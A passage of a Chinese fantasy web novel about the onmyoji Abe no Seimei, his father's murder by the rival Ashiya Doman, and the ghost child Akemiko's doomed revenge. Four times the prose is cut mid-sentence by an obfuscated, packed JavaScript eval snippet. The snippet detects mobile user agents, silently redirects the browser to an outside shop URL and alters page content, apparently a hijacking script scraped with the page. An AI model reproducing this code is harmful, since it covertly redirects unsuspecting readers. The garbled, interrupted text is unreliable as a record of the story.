驭使式神实际上是一件非常危险的事情,式神多为妖鬼所化,性情难测,一个不慎,便会反噬主人。 如果只是命令式神做点解咒之类的小事倒也罢了,但如果想让式神帮忙杀人的话,那就必须要把那个想杀掉的目标的真名告诉给式神知道,在这种情况下,式神多半不会失手。 但是如果告知式神的是个假名字,那样式神就不可能找得到目标人物,但由于契约约束,它必须要杀一人,到了这个时候,它就会把谋杀的目标改换成驭使它的主人。 阴阳师洞悉生死,勘破阴阳,但如果他们要利用阴阳术来害人的话,那就必须承担因此而产生的一切代价。 卢屋道满的气焰似乎被削弱了下来,他问:“你能保证你这里只有两个徒弟?” 贺茂忠行暗暗松了口气,如果卢屋道满宁愿冒着被式神反噬的风险也要对他下咒的话,那今天他的处境就很危险了。 “贺茂忠行”的确是他的真名没错,他刚才不过是虚张声势而已。 “当然可以保证。”贺茂忠行脸上丝毫不见心虚的神色。 “如果我没记错的话,你的其中一个徒弟是你自己的儿子,另一个,则是安倍益材家的孩子安倍晴明对吧?”卢屋道满又问,脸上的笑容极其诡秘。 “对,那又怎样?”贺茂忠行冷冷地说。 “没什么。”卢屋道满慢悠悠地环顾一圈,很自然地盘膝原地坐了下来,转移了话题:“贺茂大人不想知道我为什么要四处下咒吗?” “我和你这样的人没什么好说的。” 卢屋道满低声笑了起来,自顾自地说了起来:“鬼是从哪里来的?是人心呀,人性贪婪,永远也得不到满足,这就催生出了鬼,这不是很有趣吗?有些人宁可做鬼,也不想做人。” “那我就帮他们一把咯,看一看如果他们真的成了鬼,是不是就能满足全部的愿望了。”卢屋道满神经质地嘀嘀咕咕,仿佛回味似的眯起了眼睛:“我想一想……我第一次在这平安京里下咒,是在一个女孩子身上,我看到了她的欲望,是‘妒’,女人身上常有,但她的妒忌格外有趣。她是在妒忌她的几个姐姐都能入宫为妃,替她们的父亲分忧。”卢屋道满疯子似的大笑起来:“多高尚的妒忌啊,我喜欢这个女孩子,我必须要帮她才行。” “刚好她家里有一张旧面具,而且是般若面,很相配嘛。”卢屋道满一边笑,一边说:“因妒忌而生的鬼,和心怀妒忌的女人。这样一来,大家就都满意了,不是很好吗?” 接下来,他又说出了一大串给其他人下咒的经过,几乎都是相似的原因:他想知道人类在成为鬼之后,是不是真的能够满足他们的心愿。 “你在胡说八道些什么?真是疯了!”贺茂忠行听不下去了,大声呵斥道。 卢屋道满仰着头,挑衅似的直视贺茂忠行的眼睛:“这么快就不想听了吗?我倒是还有不少想说的话,不过,在我看来,大阴阳师贺茂忠行也不过如此。” 贺茂忠行直觉有些不对劲,但还没有察觉到底是哪里不对,即使这样,他还是立刻取了张符咒夹在了手指间,严阵以待。 他一向很相信自己的直觉。 卢屋道满又从地上站了起来,不知道是不是坐久了腿麻,他好像有点站不稳似的,踉跄了一下,又笑了一声,道:“想不到我一个纸人,竟能骗过贺茂大人的眼睛,还为我争取到了这么多时间。” 贺茂忠行骤然脸色一白。 卢屋道满不怎么正式地行了个礼,笑说:“贺茂大人只管放心,我不会对一个孩子下手的,我还没疯到那个地步。” “我的目标,一直都不是安倍晴明。”卢屋道满身子晃了两晃,才又站住了:“对了,刚才忘了说,我不断地下咒,也不完全是为了看什么愿望满不满足的这种琐事。” “我早就占卜出了我要找的人的大致位置,只不过一直不知道他具体住在哪一家罢了。”卢屋道满笑道:“我下咒的同时也是在试探呀,我虽然不是很想波及到无辜的人,但如果到最后都找不到我要找的人的话,那我也只能把住在那儿附近的人全部杀光了。” 这话他说的满不在乎,好像他要杀的不是人类,而是一群任他宰割的蝼蚁。 “你在那个地方设了隐匿咒吧?外人如果不是特意去找,就会很容易把那座院子忽略掉——难怪我这么久都没找到。”卢屋道满最后又露出了一个诡异的笑容,他说:“贺茂大人,你猜,我是要杀谁呢?” 说完这句话,卢屋道满的身体化成了一张手掌大小的纸人,飘飘忽忽,落在地上。 那纸人躯干的部分潦草地写着几个字。 贺茂忠行疾步上前,可还没等他看清纸人身上的字,纸人就自己燃了起来,火苗一下子蹿得老高,差点燎伤了贺茂忠行。 那是卢屋道满的凭依纸人,纸人上写的是卢屋道满的真名,借助纸人,卢屋道满就可以把自己的魂魄附着在上面,并成功骗过了贺茂忠行。 可惜贺茂忠行终究晚了一步,没能看清楚卢屋道满的真名。 贺茂忠行面色铁青,这一次,他栽了个彻底。 “晴明!” 贺茂忠行记起卢屋道满走之前留下的话,顿时不敢再耽搁了。 “安倍宅呀……”卢屋道满遥遥望着那处他这段时间以来一直没有注意到的宅院,缓缓露出了笑容:“找到你了。” 卢屋道满走进了晴明布设的结界,一把推开了画着桔梗印的大门,这些都没有对他造成任何阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460587|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碍,晴明所做的一切都是防御妖鬼用的,根本拦不住一个人类阴阳师。 “原来你叫安倍益材。”卢屋道满一边神经兮兮地低喃,一边逐个检查安倍家的房间。 很快,他就找到了安倍益材。 “别躲了,找到你了。”卢屋道满的笑容很是扭曲,他缓缓走到安倍益材身边,深深吸了口气,好像在掩盖什么极其激烈的情绪。 然后他说:“你倒是好心善呀,十多年前,从猎人手里救了只野狐?” 安倍益材不太明白这个突然出现在他面前的人的意思,不过十多年前,他确实是救下了一只狐妖,葛叶。 “你还不知道你到底做了什么吧?算了,我都找了你这些年了,也不急于一时,我就从头说起吧,反正贺茂忠行也被我拖住了,时间有的是。”卢屋道满闭了闭眼,像是在回忆:“十多年前,我弟弟得了种怪病,我为他占卜,占卜的结果呢,是要用一只白狐的肝脏作药引,可是白狐难得呀,而且狡诈难捕,我雇猎人蹲守了几天才终于打伤了一只白狐,而且还是只狐妖,更适合入药。” “可这白狐被你这善人给救了?”卢屋道满舔了舔干涸的嘴唇,突然暴怒起来:“我弟弟没了药,他死了!那畜生不该死,难道我弟弟就是该死的?” “你倒是好,你行了善,我做了恶,是不是?你是救了白狐的命没错,可你杀了我弟弟!”卢屋道满焦躁地踱来踱去,眼前不断浮现出自己弟弟的死状。 他又想起了那个叫他从蜘蛛网里救蝴蝶的孩子。 你究竟是救了蝴蝶呢?还是害了蜘蛛? 蝴蝶美丽,所以要救;蜘蛛丑恶,所以活该饿死是吗? 卢屋道满双手冰凉,全身不受控制地颤抖着。 “对不起,我……并不知道……”安倍益材低声说:“我可以补偿您。” 卢屋道满好像听见了个笑话,他大笑起来。 “你知道吗?我不恨那只野狐,这件事与它无关。”卢屋道满一步步逼近了安倍益材:“我只恨你,我弟弟相当于是死在了你的手里。” “所以,你去陪他,好不好?”卢屋道满从怀里摸出了刀子:“你也说了,你可以补偿,就用你这条命来补偿吧,好不好?” “不行!”一个尖脆的女孩子声音响了起来,明美子出现在安倍益材身前,以一个保护者的姿态,拦在了安倍益材和卢屋道满之间。 “区区一个座敷童子,就凭你?”卢屋道满根本没把明美子放在眼里,随手一推,就把明美子甩到了一边。 即使得到了晴明的灵力,但是说到底,她也只是一个座敷童子而已,妖力低微,根本没办法与卢屋道满这种程度的阴阳师相较。 明美子挣扎着爬起来,手里攥着一把符咒,那是她刚刚从安倍益材身上拿到的。 “你疯了?敢碰符咒?不怕魂飞魄散吗?”卢屋道满有些意外,他想不出什么能让一个小小的座敷童子这样拼命。 明美子紧紧抿着嘴唇,她的灵体已经被符咒灼伤,她强忍着痛楚,把符咒按照晴明之前教的方式,一一朝卢屋道满丢了过去。 13. 第十三章:亡者之语 等晴明和贺茂忠行赶到安倍益材的宅院的时候,一切都晚了。 安倍益材倒在了地上,躺在自己的血泊里。 安详地阖着眼眸。 “父亲……”晴明仿佛骤然失了声,颤抖着嘴唇,不敢置信地、失了魂魄似的走到了他父亲身边。 不论往日里晴明对安倍益材有什么样的不满,可无论如何,那是他的父亲啊。 终究是血浓于水。 贺茂忠行则迅速召出了式神猫又,叫它去附近搜寻卢屋道满的踪迹,但最后一无所获,卢屋道满早就逃走了。 晴明失魂落魄地跌坐在安倍益材的尸体边,他想不通,为什么事情会变成这样。 父亲怎么就变成了这副模样呢? 这就是死亡? 晴明试探性地推了推安倍益材,小声唤:“父亲大人,您……” 您醒醒呀,再看看我,好不好? 可是这些话都没能说出口,因为安倍益材全身都已经冷透了。 那不是活人该有的温度。 晴明像是一下子惊醒了,后知后觉地想去捂住安倍益材胸口的血洞,但是血都已经流尽,再怎么捂,也都没有任何用处了。 人死了之后,他会去哪里呢? 就好像烛火被吹灭之后,火焰去了哪里呢? 晴明想不通,他不知道该去什么地方找回他的父亲。 为什么他要经历这些?他还只有十一岁呀。 贺茂忠行于心不忍,走上了前去,蹲下身子问晴明:“还想见见你父亲吗?也许他的灵魂还没有离开这里。” 晴明半晌才听懂了贺茂忠行的话,他的眼睛里重新亮起了光:“这种事情……真的做得到吗?” 贺茂忠行没答话,把躲在一边,盯着安倍益材的尸体流口水的猫又唤了回来,变回白纸,然后把那张纸衔在口中,默默念诵着:“以我灵能,唤彼魂火;以我式神,召彼现世;以子之愿,请彼相见。” 最后一个字刚刚出口,一阵稍稍有些阴冷的风便刮了起来,这股阴风并不摄人,反而能让人莫名其妙地安下心来。 安倍益材的尸体上空,渐渐浮现出了一个模糊的人形,眉眼赫然就是安倍益材! “父亲!”晴明喜出望外,竟然忘记了敬称。 安倍益材没说话,弯下腰想摸摸晴明的脑袋,半透明的手却直接穿透了晴明的身体。 终究是人鬼殊途,安倍益材并没有变成恶鬼妖灵,他的能力还不足以让他化出可以触碰到的实体。 “果真是死了呀。”安倍益材缩回手,半是无奈,半是自嘲地笑了笑,朝贺茂忠行的方向鞠了一躬,贵族风度尽显:“多谢贺茂大人,让我与晴明可以再见一面。” 贺茂忠行摇头:“是我的错,如果能早一点发觉那家伙的用意的话……” “世有定数,若要强行逆转,必要受谴的。”安倍益材微微一笑,他倒是对自己已经死了这件事看得很豁达:“从我救下晴明的母亲的那天起,我就种下了这个因,终有一日,会得到这样的果。” 当年的安倍益材又怎么会想到,他救下了一个无辜的生灵,却在无形中又害了另一条性命。 造化弄人而已。 没什么对错可言。 “晴明,我还没有告诉过你,在你母亲离开之后,我曾经又去过一次那片森林。”安倍益材很谨慎地没当着贺茂忠行的面,提葛叶的真名和具体位置。 “我对自己能否抚养你长大这件事心里没底,所以想去把你母亲找回来,可她不愿意跟我回来,或许是因为我当初表现得太害怕,真的伤了她的心吧。”安倍益材原本想把这些事全部对晴明瞒下来,可他不想让自己死后还在被自己的孩子怨恨着。 “我是待你不好,可我是在害怕,怕你不懂隐藏自己的锋芒,最后被阴阳师当作妖怪。”安倍益材顿了顿,没再说下去,他还是不习惯自白。 晴明则愣住了,他完全没想过这些。 他忽然发觉自己一直都没有理解他父亲的苦心。 可是等他懂了,也晚了。 “晴明,别太恨。”安倍益材又说:“我不是被人杀死的,而是自杀。” “我和那位卢屋大人约好了,我可以死,但他绝不可以对你动手。”安倍益材蹲下身来,虚虚做了个拥抱的姿势:“能用我这条命,换你此生平安顺遂,也是好的。” “好好跟着贺茂大人学阴阳术,忘了我吧,也没什么仇需要你去报。”安倍益材望着自己的孩子的眼睛,微微一笑:“当年救你母亲的时候,我正在神社里,向稻荷神许愿,愿我安倍家终有一日能重现昔日辉煌。我相信神明听到了我的愿望,此事,或许就应在你身上。” 传说中的丰饶之神:稻荷神御馔津正是狐狸所化,谁又知道葛叶和安倍晴明是不是神明赐给安倍家的希望呢? “今后你一个人好好生活,也带上明美一起。”安倍益材直起身子,指了指储藏室的方向:“她是个好孩子,别叫人害了她。” “我走了,今后,春光里的花、夏日里的风、秋天里的红叶、冬季里的雪,都是我在这世间存留的痕迹,它们会替我来陪你。”安倍益材最后笑了笑。 “不!父亲,你别……”晴明大叫起来,猛地朝他父亲的灵魂扑过去,想抱住他,可是那点残魂只是闪了一下,随后就消失了。 那个温柔的男人不见了。 去哪了呢?谁也不知道。 或许真的有一个亡者生活的世界存在,或许没有。 但即使那个世界真的存在,那也绝不是活人轻易能去的地方。 晴明跪坐在地,呆呆地看着自己空空的双手,在刚才的一个瞬间,他似乎是真的接触到了他父亲的灵魂,至今手心里还残留着那股魂魄所特有的冷意。 对了,明美…… 明美还在! 晴明骤然站起了身子,疯狂地一头撞进了储藏室。 明美,求求你,别再走了。 我只剩下你了。 所幸,明美子真的还在,不过被人封印住了,躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460588|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在角落里动不了。之前晴明送给安倍益材防御妖鬼的符咒在她身边洒了一地。 阴阳术…… 他自负天赋过人,可到头来,他连自己的父亲都救不了。 晴明从自己的符咒上踩过,走到了明美子身边。 贺茂忠行走过来要解除封印,晴明却阻止了他,低声说:“那个阴阳师,是叫卢屋道满对吧?我想看看他和他的差距究竟有多大,这个封印,我来解。” 卢屋道满的这个封印并不复杂,可能是时间紧迫,他只是随便拿了一张符咒,贴在了明美子身上。 但符咒上附着的灵力却不是晴明能轻易破除的。 晴明虽然天赋过人,但多年疏于修习,他的灵力又岂是能与卢屋道满相比的? 最后,晴明咬牙强行撕去了符咒,后果可想而知,符咒上的灵力全部反噬到了晴明身上,生生把他逼吐了血。 晴明脸色发白,摇摇晃晃地过去,要扶起明美子。 可是不料,明美子先是低声说了句抱歉,然后突然抓住晴明的胳膊,露出了她从没露出过的、独属于鬼的獠牙,狠狠地咬了下去。 不仅是晴明,连贺茂忠行也对此始料未及,也就没来得及阻止。 獠牙把晴明的手臂刺出了四个不浅的血洞,饱含着灵力的血液涌流而出,被明美子大口大口地吞咽了下去。 座敷童子也会饮血? 这是贺茂忠行从没遇到过的情况,他来不及去想明美子为什么会变成这样,连忙出手要制住她。 但晴明朝他摇了摇头,然后,晴明慢慢抱住了明美子,脸色因失血而惨白,低声说:“没事,吓坏了吧?明美,没事了,他走了,那个阴阳师走了。” 晴明一边说,一边用另一只手轻轻抚摸着明美子的后背。 明美子像是情绪终于稳定了下来,慢慢放开了晴明的手臂,满脸泪痕地抬起头:“对不起,晴明,我没能救他,没能救安倍大人……” “没事,交给我,我来解决。”晴明语气轻柔,说着杀气腾腾的话,脸色阴沉至极。 晴明最后在明美子的头上摸了摸,然后站起身来,在狩衣上撕了一片,裹住手臂上的咬伤。 月白色的狩衣上此时沾满了他自己和安倍益材的血,晴明站在那儿,头发散乱,有些站不稳地摇晃了几下,整个人就像一只索命的厉鬼。 他说:“贺茂师傅,我要替我父亲守灵,有些葬仪的事情我不懂,麻烦您帮我安排一下。” 晴明转过身去和贺茂忠行说话,因而也就错过了明美子跪在地上,一边舔舐地上的血,一边死死抓住自己的喉咙,强迫自己吞咽的情景。 谁也没注意到明美子反常的举动,否则,或许他们还可以避过日后的一场灾厄。 当晚,晴明在他父亲的尸体前,枯坐了一夜。 贺茂保宪过来陪他,可他也想不出自己该说些什么话来安慰晴明。 没有人发现,明美子悄悄溜出了安倍益材的院子,她避开所有人的眼睛,不知去了哪儿。 14. 第十四章:明美之厄 深夜,明美子独自一个,到了城外的一处树林里。 在关于她母亲的事情上,她说了谎,她并没有忘记自己是怎么死的,她只是不敢面对而已。 她父母都是住在平安京之外的山民,父亲以打猎为生,但是有一天,他被饥饿的狼群撕碎了,最后留给她和她母亲的,只有几片染血的衣襟。 母亲独自带着年幼的她生活不下去,最后,母亲陷入了崩溃,抱着她走进了树林。 母亲对她说,我们去找你父亲。 她死在了树林里,和母亲一起,但也因此获得了新生,还有一个新的名字。 她不能再让晴明也陷入和她一样的境地了。 明美子走着走着,喉间忽然一阵抽搐,险些吐出来。 白天的时候,她迫不得已喝了晴明的血,这是因为她接触到了驱鬼的符咒,灵体受损,如果她不那样做的话,根本走不了这么远。 晴明的血液中含有灵力,再加上他们之间契约的联系,她灵魂受损的部分很快就愈合完整了,甚至比之前更强大了很多。 人血那股腥甜的味道在她唇舌之间萦绕不去,但更让她感到恶心的是,她竟然很喜欢饮血的感觉,当晴明的血液流进她口中的时候,她竟然不想松口了。 无论是从哪个层面来说,饮过人血的鬼都不再是原来的那只鬼了。 任何一只鬼都抵挡不了人类的血肉所给予的诱惑。 不过,为了晴明,变成厉鬼又怎样? 她心甘情愿。 明美子终于找到了自己想找的东西,她和母亲的骨骸。 明美子跪了下来,在那堆几乎已经分辨不出来原样的骨殖前。 “母亲,您还在吗?”明美子抚摸着一颗圆圆的颅骨,眼泪落了下来,渗进了骨骸:“如果您还在的话,请帮帮我。我要去报仇呀,我的家又一次被毁掉了,我又一次没有家了啊。” 她是座敷童子,是要给人们带来福运的,可这次的灾厄是毁灭性的,她根本没办法避免,那就只能由她亲手终结掉。 渐渐月上中天,月光洒在了明美子和骸骨上面,树林里好像镀上了一层银白。 虚幻的影子浮现了出来,两个人,一男一女。 明美子的父母。 他们真的在死后重逢了。 他们安详地笑着,朝明美子点了点头,像是在鼓励明美子做她想做的事一样。 “对不起,对不起……”明美子一边哭着,一边朝她的父母伸出了手。 时隔十数年,她终于又握住了亲生父母的手。 然后,她把父母…… 狠狠地扯到了嘴边,一口咬了下去。 她不想再喝晴明的血,但她还不够强大,杀不了卢屋道满。 想来想去,她就只剩下了吞食其他妖鬼这一个选择。 而她父母就是在平安京附近、她所知道的、仅有的鬼。 父母给了她性命,但也亲手杀死了她。 晴明给了她名字,安倍益材给了她一个家,相比之下,他们才更像是她的家人。 但即使如此,做下这个决定又谈何容易! 明美子一边哭,一边强迫自己把父母的灵魂一同吞吃下去,冰冷的魂魄却在喉间带来了烧灼般的感觉。 “对不起,对不起……”明美子机械地喃喃着,紧紧捂着嘴巴,极力抑制着恶心想吐的感觉。 眼泪几乎都流尽了,两行血泪从明美子眼眶里流出来,她随手抹了一把,蹭了满脸的血。 这个模样的她,任谁看了,都不可能相信她就是会为人们带来福运的座敷童子。 “我要去报仇,我要去报仇……”明美子口中不断重复着,她既饮下了人血,又吞食了无辜的灵魂,她已经和恶灵没有什么区别了,连神智都开始渐渐模糊,她生怕忘记自己此行的目的,便一遍一遍地反复提醒自己:“报仇,卢屋道满……” 明美子慢慢朝树林外走去,身子摇摇晃晃。 天皇最近一直对卢屋道满很感兴趣,还亲自为卢屋道满指定了一处宅院居住。 明美子没费多大力气就找到了卢屋道满的住处,她记得仇人的味道,这对鬼来说并不难。 可她毕竟没有任何害人的经验,就算满心杀意,她也还只是一个不谙世事的孩子。 她是座敷童子,无论怎样都成不了真正的厉鬼。 所以还没等她踏进卢屋道满的院子,她就被一只极其高大的白色恶犬扑倒在地,任她怎样挣扎都逃不出恶犬的利爪。 恶犬轻轻松松地把明美子踩在爪下,高声吠叫着,试图引起它的主人的注意。 “怎么回事啊?犬神?”卢屋道满听见恶犬的吠叫,从屋子里走了出来,瞟了明美子一眼。 犬神是狗死后残留下来的魂魄,它们忠心不改,继续履行着为主人看家护院的职责。 “怎么有点眼熟?”卢屋道满嘀咕着,蹲下身来替明美子擦了擦脸上的血:“噢,你是安倍君家里的座敷童子,怎么把自己搞成了这个样子?都快要变成恶灵了吧。” “我要杀了你!”明美子疯狂地挣扎着。 卢屋道满有点苦恼地叹了口气:“我说呢,你怎么突然跑到这儿来,你倒是煞费苦心呀,比白天见你的时候倒是变强了不少。” “让我猜猜,你是吃了安倍晴明?不对,要是真的吃了白狐之子,不可能还这么弱。那就是喝了他的血?应该还吃了点别的什么吧?你身上灵力不纯,肯定是又吃了什么无名无姓的小鬼小妖怪。”卢屋道满一边摸了摸犬神硕大的狗脑袋,一边说:“好好的座敷童子不做,偏要学恶鬼害人,何苦呢,安倍家住着不舒服,那就换一家咯,何必这么死心眼。” “我想也不可能是安倍晴明那么不自量力,指望一个座敷童子来杀我,那我就不把这笔帐记到他头上了。”说着,卢屋道满慢悠悠地负手走开:“我给过你机会了,上一次我不杀你,但这次,你主动撞到我手里,若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460589|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再放过你,恐怕后患无穷。” 卢屋道满扬扬手:“犬神,你喜欢的话,就吃了吧。” 卢屋道满回了房,而犬神得到了主人的首肯,朝明美子张开了血盆大口…… 上一次,明美子也是这样死的,她被母亲带进山里,遇上了狼群。 母亲终于如愿了,她见到了自己深爱的丈夫。 可是她呢? 她孤身一人在世间游荡,见到一点点温暖就扑上去。 终究是飞蛾扑火。 当年懵懂的女孩子和现在这个满怀恨意的恶鬼重合在了一起,她们从凶兽的利爪和獠牙下挣扎着伸出手,哭泣着求救。 可是当年没人来救她。 现在也一样。 可悲的命运,让她两次葬身于猛兽腹中。 而这一次,她再也没有机会回到人世了。 而晴明直到安葬完父亲之后,才发现明美子不见了。 这些天里,即使有贺茂忠行和贺茂保宪的帮助,他还是忙得心力交瘁,实在没有心思去顾及其他的事。 等到一切都安排好了,他才记起这几天他一直没见到明美子。 他找遍了家里的每个角落都没能找到明美子。 晴明试着做了个占卜,占卜的结果令他眼前一黑,又呕出口血来,昏了过去。 此时,朝堂之上,天皇命贺茂忠行与卢屋道满一起为他占卜,他想看看这两个人的占卜能力究竟谁更强一些。 很简单的规则,占覆,他预先叫人藏了件东西在盒子里,叫他们二人轮流占卜,谁猜得中,谁便赢了。 贺茂忠行情绪很差,即使是在天皇面前,他也没心思隐藏自己对卢屋道满的敌意了。 卢屋道满倒是不怎么在意,还趁着天皇不注意,悄悄凑到了贺茂忠行身边,说:“有人对我说,那盒子里放的是个橘子。” “你什么意思?”贺茂忠行抬起眼睛来看他,冷冷地问。 “把我带进平安京的那几位大人想让我赢你,设法探听到了盒子里的东西。”卢屋道满笑了笑,说:“我讨厌这种做法,所以打算故意说错。” “用不着你来让我。”贺茂忠行冷冰冰地说:“你只管说你的橘子便是,他们探听得到,也算是本事。” 卢屋道满挑了挑眉毛,笑道:“那好,那我就等着看看贺茂大人你的本事了。” 说完,他上前一步,抢先说道:“天皇陛下所藏之物,色黄而味甘,食之则必先去皮,其外皮酸涩,不堪食用——是橘子。” “不对,是老鼠。”贺茂忠行冷冷地说:“窃人食粮,害人性命,居于狭缝之中,探听他人秘密,终日里尽行些不仁不义之事。” 卢屋道满微微一怔,随后像是想明白了什么,微微一笑,也不说话。 “这一次,贺茂卿可猜错了。”天皇笑了起来。 “是对是错,陛下不妨打开盒子来看一看。”贺茂忠行不慌不忙地用折扇敲了敲手心。 15. 第十五章:笑茭 天皇被贺茂忠行的笃定搞得有点摸不着头脑,因为那枚橘子是他亲手放进盒子里的,他不可能连这都搞错。 天皇示意身边随侍的官员打开了盒子,一只灰色的小老鼠吱吱叫着窜了出来,肚皮撑得滚圆,那枚天皇放进去的橘子已经被它吃了个干干净净。 “怪了,什么时候钻进去的?”天皇百思不得其解,而贺茂忠行只是用折扇压了压唇角,没有说话。 老鼠当然是他刚刚利用阴阳术塞进盒子里的。 藤原兼家自然是很愿意看到卢屋道满输给贺茂忠行,而他的政敌们则面色铁青。 散了朝,卢屋道满好像完全不会看人脸色似的,又凑到了贺茂忠行身边,也不管贺茂忠行是不是对他冷着脸:“今天这一局算不得数,不如我们找机会再比一场。” 贺茂忠行冷笑:“在安倍君的事情上,我已经输了,又何必再比。” “可是世人不知道啊。”卢屋道满没否认贺茂忠行的话,他颇有几分得意地笑了起来:“就像深夜里穿上了华美的衣裳,谁又看得见呢?在大家眼里,你还是那个大阴阳师贺茂忠行,而我呢,也还是一个从没教化的地方走出来的、有点运气的山民。” “只有打倒了你,贺茂大人。”卢屋道满逼近了贺茂忠行,笑得玩味:“我才能真正被人承认,才能算是一个堂堂正正的大阴阳师。” 贺茂忠行被这野心勃勃的话刺得一惊,这才认真衡量起卢屋道满这个人来。 直到这个时候,贺茂忠行才察觉到,就在卢屋道满来到平安京的短短几个月的时间里,这个人身上就发生了翻天覆地的变化。 他穿上了整套的狩衣,头发束得整整齐齐,手上甚至还拿了一柄精致小巧的五骨蝙蝠扇。 完全是一副贵族般的做派,只不过这身行头和他的外表极其不搭,看起来不伦不类,很有几分东施效颦的味道。 而这又与贺茂忠行自己何其相似! 贺茂忠行自己也并非贵族出身,为了弥补这种天生的差距,他在成功博得天皇的支持之后,就一直在努力学习贵族的姿态,贵族喜欢往衣服里填充很多华贵的丝绸以彰显地位和财力,他就穿上了厚重的狩衣,将自己裹得一层又一层,即使是到了天气最热的时候,他也不敢稍微穿得轻薄一些,生怕受人嘲笑,更听不得任何人谈起他的出身。 可是到底,他在旁人眼中也只是另一个卢屋道满吗? 野鸭天生卑贱,可它们向往着天鹅生活的湖泊。 于是它们捡来了天鹅掉落的羽毛插在身上,假装娴静地泅水,以为自己成功骗过了天鹅们的眼睛。 但是实际上,天鹅早就看透了这种低劣的伪装手段,之所以一直没有说破,不过是因为它们还需要野鸭为它们源源不断地提供笑柄而已。 贺茂忠行忽然笑了一声,用折扇遮了遮嘴角,目光直视卢屋道满:“既然这样的话,那就只能各凭本事了。我等着,卢屋大人。” 野鸭发觉了天鹅们不怀好意,它们鼓动着野鸭和另一只外来的野鸭厮杀对决,它们则兴致勃勃地聚在一旁看戏,而且还商议着应该怎样做才能让两只野鸭厮打得更激烈些。 但是野鸭别无选择,因为它还有个孩子,如果它能斗赢了,那么也许它和孩子有机会在这片天鹅的湖泊里博得一席之地。 别了卢屋道满,贺茂忠行没立即回家,而是去了安倍益材从前的宅子。 安倍益材不在了,这些天里,晴明一直独自住在这里。 他很担心晴明,虽然这个孩子在料理安倍益材的葬仪的时候一直表现得很平静,但是这种平静太不正常了,这完全不是一个十一岁的少年乍知父亲离世,所该有的反应。 如果晴明大哭大闹,贺茂忠行反倒更能放心了。 但现在晴明把情绪全部掩盖起来,谁又知道这种平静之下,到底隐藏着什么。 晴明坐在庭院里面,月白色的狩衣上又沾染上了血迹,仿佛荼蘼的樱花,朵朵开在了他身上。 他身边堆满了各种占卜的用具,以往,晴明很少借助这些外物来占卜,他经常只靠着直觉就能把事情猜得七七八八。 但是现在,晴明正不断地把每一种占卜的方法一一试过去,他一刻不停地换方法占卜,仿佛是在对抗一个他不愿承认的现实。 晴明忽然咳了几声,血沫从嘴边溢出,滴落在了他手里的茭杯上,鲜红色的血将茭杯染得一片猩红。 他原本在破除卢屋道满的封印的时候就受了伤,这些天为了安倍益材的葬仪又连日操劳,一直没有好好休息,即使他年纪尚小,他的身体也根本受不住这样的磋磨,早已是强弩之末,现在只不过是强行撑着一口气没彻底倒下去而已。 当贺茂忠行赶到这里的时候,他看到的就是这一幕,晴明满身鲜血,却还不断地强行动用灵力占卜。 他这是在压榨自己的性命。 贺茂忠行顿时大惊失色,疾步走到晴明身边,将晴明手里的占卜用具打落在地:“你在做什么!你知不知道……” 晴明抬起头来,眼中悲伤的神色刺得贺茂忠行心头一凉。 “我占卜到的结果说,明美也走了。”晴明又要去摸他的茭杯,继续说:“可是我不信,一定是我的占卜出错了,她是座敷童子呀,怎么会有阴阳师想杀她呢?一定是她被人封印在什么地方了,我得找到她,带她回来,她得回家啊……” 他早就无数次地占卜到了结局,可是一直固执地不肯相信,明美说了,她会一直陪着他,保护这个家的,她怎么会食言呢? 她不是这样的人啊。 越来越多的血从晴明唇齿间溢出,晴明浑身发冷,但还是掷出了茭杯。 向神明询问,明美究竟在哪里? 两只茭杯落了地,都是正面。 笑茭。 代表陈述不清、无法裁示,或者是神明主意未定,还需要再请示。 又或者,神明的意思是…… 所提问题自有主张、已有定数,何必多此一问。 已有定数,已有定数啊……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460590|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晴明全身不受控制地剧烈颤抖起来,真的没有任何办法了是吗? 不对,茭杯也错了。 晴明眼前发黑,摸索着还要去找其他东西来重新占卜,他决不相信这种结果。 如果明美也从此离开了他,那他就真的连最后一点安慰也没有了。 贺茂忠行深叹一口气,伸手极有技巧性地在晴明颈间一敲,打晕了晴明。 